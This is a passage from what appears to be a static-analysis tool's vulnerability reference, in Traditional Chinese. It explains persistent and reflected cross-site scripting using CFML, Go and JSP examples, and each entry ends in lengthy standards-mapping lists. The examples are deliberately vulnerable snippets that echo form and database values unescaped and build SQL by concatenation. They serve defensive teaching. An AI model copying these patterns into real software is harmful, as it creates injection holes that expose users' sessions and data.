[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1: 以下的 CFML 程式碼片段,根據提供的員工識別碼來查詢資料庫,並列印出該員工的相應姓名。

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
name 值正常運作時,此範例中的程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2: 以下的 CFML 程式碼片段,會從網路表單中讀取員工識別碼 eid,並將其顯示給使用者。


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


Example 1 所述,如果 Form.eid 只包含標準英數字元,這個程式碼會正確地執行。如果 Form.eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網頁瀏覽器,會導致瀏覽器執行惡意程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Go 程式碼片段會從 HTTP 要求中讀取使用者名稱 user,並向使用者顯示。

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


如果 user 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Go 程式碼片段會查詢資料庫中具有指定 ID 的員工,然後列印相對應的員工姓名。

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證,那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其極其隱蔽,會因為間接的資料儲存方式而難以辨別該威脅,並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所示,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時,就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所示,應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者執行需要權限許可的操作,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料存放區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 JSP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 JSP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並將其向使用者顯示。


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

